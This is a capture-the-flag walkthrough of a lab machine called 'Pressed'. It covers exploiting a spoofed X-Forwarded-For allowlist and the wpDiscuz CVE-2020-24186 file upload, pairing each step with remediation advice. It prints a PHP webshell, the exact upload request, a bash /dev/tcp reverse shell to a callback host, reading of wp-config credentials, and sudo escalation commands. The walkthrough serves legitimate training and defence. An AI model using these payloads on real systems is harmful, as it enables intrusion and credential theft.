← all walkthroughs

Pressed

Linux· Hard· Privilege Escalation
owned
2026-07-15
time to own
54m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I identified a WordPress installation on port 80 (Apache 2.4.41) whose IP-based allowlist on wp-admin and xmlrpc.php was trivially defeated by forging the X-Forwarded-For: localhost HTTP header — the server trusted the value the client supplied. With the block removed, WPScan enumerated the administrator account name and the wpDiscuz commenting plugin at version 7.3.2, which carries an unauthenticated arbitrary-file-upload vulnerability (CVE-2020-24186). Uploading a PHP webshell through the comment-image AJAX endpoint placed an executable file in the uploads directory and delivered a shell as the web server user www-data. The WordPress configuration file contained the MySQL password in plaintext; that password was [REDACTED: recovered credential] as the SSH login for a local OS account, elevating access to a user-level shell and the first flag. A sudo rule that permitted the account to run a system binary as root without a password completed the escalation to full root access and the final flag.

Attack path — how the box was taken

1EnumerationNetwork service scanning (T1046)
Scanned all ports and identified a WordPress site on port 80
A full-TCP Nmap scan found one open service: port 80 running Apache 2.4.41 on Ubuntu. Browsing the IP returned a redirect to the virtual hostname pressed.htb, which resolved to a WordPress installation. Requests to /wp-admin/ and /xmlrpc.php from my external IP address returned HTTP 403 Forbidden, indicating an IP-based access restriction was in place.
Exact commands 3
Full TCP port scan with default scripts; replace <TARGET_IP> with your HTB instance IP.
nmap -sC -sV -p- --min-rate 5000 -oA pressed <TARGET_IP>
Register the virtual hostname discovered from the HTTP redirect.
echo '<TARGET_IP> pressed.htb' | sudo tee -a /etc/hosts
Confirm the 403 Forbidden response that signals an IP-based allowlist.
curl -I http://$TARGET/wp-admin/
2ExploitationIP allowlist bypass via forged HTTP forwarding header (T1090.002)
Bypassed the IP allowlist by forging the X-Forwarded-For header
The application read the X-Forwarded-For HTTP header to determine the requestor's IP address and grant or deny access, but this header is entirely under my control. Setting X-Forwarded-For: localhost caused the server to treat the external request as originating from localhost, returning HTTP 302 (redirect to login) instead of 403. Applying this header to every subsequent request rendered the allowlist completely ineffective.
curl -I returned 403 without the header; adding -H 'X-Forwarded-For: localhost' returned 302 to wp-login.php.
Exact commands 2
Confirm bypass: 302 redirect instead of 403.
curl -I 'http://$TARGET/wp-admin/' -H 'X-Forwarded-For: localhost'
Confirm xmlrpc.php is also reachable with the spoofed header.
curl -I 'http://$TARGET/xmlrpc.php' -H 'X-Forwarded-For: localhost'
FixImplement IP-based access control at the network layer, not via HTTP headersHigh
WeaknessThe server read the X-Forwarded-For HTTP header to decide whether a request came from a trusted IP address, but any HTTP client can set that header to any value. The entire allowlist protecting wp-admin and xmlrpc.php was bypassed with a single added header.
FixMove the restriction to a level the client cannot influence: use Apache's mod_authz_host 'Require ip' directive (which reads the real TCP source address) or a firewall/WAF rule. If a reverse proxy is in use, configure it to strip all incoming X-Forwarded-For headers from untrusted clients and inject only a server-controlled value. Never make an access-control decision based on a header the client can write.
3EnumerationWordPress plugin and user enumeration (T1592.002)
Ran WPScan with the bypass header; found the admin account and wpDiscuz 7.3.2
WPScan was run with the X-Forwarded-For: localhost header injected into every request, allowing it to reach the administrative endpoints it needs. It returned the registered username 'admin' via the unauthenticated REST API and identified the wpDiscuz commenting plugin at version 7.3.2 — confirmed by the /wp-content/plugins/wpdiscuz/readme.txt version string. Version 7.3.2 is within the range affected by CVE-2020-24186, an unauthenticated arbitrary file-upload vulnerability.
WPScan flagged wpDiscuz 7.3.2 with CVE-2020-24186; /wp/v2/users returned account name 'admin' without authentication.
Exact commands 3
Enumerate all users and plugins aggressively; --api-token unlocks live CVE data.
wpscan --url http://$TARGET/ -e u,ap --plugins-detection aggressive --additional-headers 'X-Forwarded-For: localhost' --api-token <WPSCAN_API_TOKEN>
Confirm unauthenticated username disclosure via the REST API.
curl -s 'http://$TARGET/?rest_route=/wp/v2/users' -H 'X-Forwarded-For: localhost' | python3 -m json.tool
Confirm the wpDiscuz version number from the readme.
curl -s 'http://$TARGET/wp-content/plugins/wpdiscuz/readme.txt' -H 'X-Forwarded-For: localhost' | grep -i 'stable tag'
FixRestrict WordPress user enumeration and hide plugin version stringsMedium
WeaknessThe REST API endpoint /wp/v2/users returned all registered account names to any anonymous visitor, and the wpDiscuz readme.txt file exposed an exact version number — together giving me a valid username to target and a specific CVE to exploit without any credentials.
FixBlock anonymous access to /wp/v2/users with a must-use plugin that removes the endpoint for unauthenticated callers (unset it from the rest_endpoints filter). Add an Apache or Nginx rule denying direct access to /wp-content/plugins/*/readme.txt. Subscribe to the WPScan Vulnerability Database for proactive alerts and keep all plugins current.
4ExploitationUnauthenticated arbitrary file upload leading to remote code execution (CVE-2020-24186, CWE-434)
Uploaded a PHP webshell via wpDiscuz CVE-2020-24186 and obtained a shell as www-data
wpDiscuz 7.3.2 allows visitors to attach images to comments via an AJAX endpoint. The server-side validation checked only the MIME type that the HTTP client reported, not the actual file extension or file content. Uploading a .php file with Content-Type: image/jpeg passed every check; the file was saved to the WordPress uploads directory where PHP execution was not restricted. Requesting the saved file with a query parameter ran arbitrary OS commands as www-data. The simple command-execution webshell was used to trigger a reverse shell back to my listener.
Upload JSON response included the public URL of the saved .php file; request to that URL with ?cmd=id returned uid=33(www-data).
Exact commands 6
Extract the wmuSecurity nonce from any comment-enabled post; replace ?p=1 with a valid post URL if needed.
curl -s 'http://$TARGET/?p=1' -H 'X-Forwarded-For: localhost' | grep -oP '"wmuSecurity":"\K[^"]+'
Create a minimal command-execution webshell on my machine.
printf '<?php system($_GET["cmd"]); ?>' > shell.php
Upload the PHP shell disguised as an image; the JSON response includes the public URL of the saved file.
curl -s -X POST 'http://$TARGET/wp-admin/admin-ajax.php' -H 'X-Forwarded-For: localhost' -F 'action=wmuUploadFiles' -F 'wmu_nonce=<NONCE>' -F 'postId=1' -F 'wmu_files[]=@shell.php;type=image/jpeg' -F 'wmuAttachmentsData={}'
Confirm code execution; replace <YEAR>/<MONTH> with the path from the upload response.
curl -s 'http://$TARGET/wp-content/uploads/wpdiscuz/0/<YEAR>/<MONTH>/shell.php?cmd=id' -H 'X-Forwarded-For: localhost'
Start a reverse-shell listener on my machine (run first, in a separate terminal).
nc -lvnp 4444
Trigger the reverse shell; replace <retired-instance-ip> with the address on your HTB tun0 interface.
curl -s 'http://$TARGET/wp-content/uploads/wpdiscuz/0/<YEAR>/<MONTH>/shell.php' -H 'X-Forwarded-For: localhost' --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"'
FixUpdate wpDiscuz to 7.3.4+ and deny PHP execution in the uploads directoryCritical
WeaknesswpDiscuz 7.3.2 validated only the MIME type the HTTP client reported when accepting comment-image uploads. I uploaded a .php file with Content-Type: image/jpeg, bypassing all checks, and the file was saved to the uploads directory where Apache executed it as PHP.
FixUpgrade wpDiscuz to version 7.3.4 or later, which enforces a server-side extension allowlist and validates file content rather than client-supplied type. As a defence-in-depth measure independent of the plugin, add a directive to the wp-content/uploads/ directory that blocks PHP execution: in Apache, add 'php_flag engine off' in an .htaccess or vhost block; in Nginx, add 'location ~* \.php$ { deny all; }' inside the uploads location. A file that cannot execute is harmless even if it is uploaded.
5Post-ExploitationCredential harvesting from configuration files (T1552.001)
Read wp-config.php and extracted plaintext database credentials
From the www-data shell, the WordPress configuration file at /var/www/html/wp-config.php was read. It contained the MySQL database username and password in cleartext — normal WordPress practice, but catastrophic when those same credentials are also in use for an OS-level account. The interactive Linux accounts were listed from /etc/passwd to identify which usernames to test the password against.
DB_USER and DB_PASSWORD extracted from wp-config.php in plaintext; DB_PASSWORD accepted as the SSH password for a local account.
Exact commands 3
Run from the www-data reverse shell; note the DB_USER and DB_PASSWORD values.
cat /var/www/html/wp-config.php
Extract just the two credential lines for quick reference.
grep -E "define\('DB_(USER|PASSWORD)" /var/www/html/wp-config.php
List OS accounts with an interactive login shell — candidates to test the DB password against via SSH.
awk -F: '$7 !~ /(nologin|false)/ {print $1}' /etc/passwd
FixUse unique credentials for every service; never reuse the WordPress database password as an OS loginHigh
WeaknessThe MySQL password stored in plaintext in wp-config.php was identical to the SSH password of a local Linux account. Reading a single configuration file — accessible to anyone who gained code execution as the web server — was enough to take over an interactive OS account.
FixGenerate a long, randomly created password for the WordPress database account and store it only in wp-config.php; never reuse it for any SSH, OS, or other service credential. Rotate both the database password and all OS account passwords immediately. Restrict wp-config.php permissions to 640 (owner root, group www-data) so the web process can read it but cannot write it and no other account can read it.
6Lateral MovementCredential reuse against local OS accounts (T1078.003)
SSH'd as a local OS user using the [REDACTED: recovered credential] database password; captured user.txt
The database password from wp-config.php was tested over SSH against the interactive OS accounts identified in /etc/passwd. It was accepted for a local user account, granting a stable, full-featured shell with that account's privileges. The first flag, user.txt, was found in the user's home directory.
Exact commands 2
Replace <DB_USER> with the DB_USER value from wp-config.php; enter DB_PASSWORD at the prompt.
ssh <DB_USER>@pressed.htb
Read the first flag; value is [REDACTED: flag].
cat ~/user.txt
FixUse unique credentials for every service; never reuse the WordPress database password as an OS loginHigh
WeaknessThe MySQL password stored in plaintext in wp-config.php was identical to the SSH password of a local Linux account. Reading a single configuration file — accessible to anyone who gained code execution as the web server — was enough to take over an interactive OS account.
FixGenerate a long, randomly created password for the WordPress database account and store it only in wp-config.php; never reuse it for any SSH, OS, or other service credential. Rotate both the database password and all OS account passwords immediately. Restrict wp-config.php permissions to 640 (owner root, group www-data) so the web process can read it but cannot write it and no other account can read it.
7Privilege EscalationSudo misconfiguration — unrestricted NOPASSWD entry (T1548.003)
Exploited a NOPASSWD sudo rule to escalate to root and captured root.txt
Listing sudo permissions with 'sudo -l' showed that the user account could execute at least one system binary as root without providing a password. The GTFOBins reference was consulted for that binary to find the appropriate invocation for spawning a shell. Pspy was also deployed to monitor for privileged cron jobs, confirming the sudo rule was the primary escalation path rather than a time-based script.
sudo -l showed NOPASSWD entry; resulting shell confirmed uid=0(root); root.txt read successfully.
Exact commands 4
List the current user's sudo rights; identify which binary can be run as root without a password.
sudo -l
Monitor for privileged background processes and cron jobs as a cross-check; Ctrl-C after 60–90 seconds.
curl -sL https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64 -pf -i 1000
Replace <BINARY> with the program shown in 'sudo -l'; look up the shell-escape technique at https://gtfobins.github.io/.
sudo <BINARY> <GTFOBINS_ARGS>
Read the root flag from the elevated shell; value is [REDACTED: flag].
cat /root/root.txt
FixRemove NOPASSWD sudo entries and enforce least-privilege access for all accountsCritical
WeaknessA local user account could run a system binary as root without any password, meaning any process running under that account — including a webshell delivered through the web application — could trivially obtain a root shell.
FixAudit /etc/sudoers and every file in /etc/sudoers.d/ with 'visudo -c'; remove every NOPASSWD entry that is not operationally essential. Where elevated access is genuinely required, scope the rule to the exact binary, absolute path, and specific arguments needed, and require password confirmation. Re-run this audit after every OS or configuration change and include it in periodic security reviews.

Exposed services

80/tcp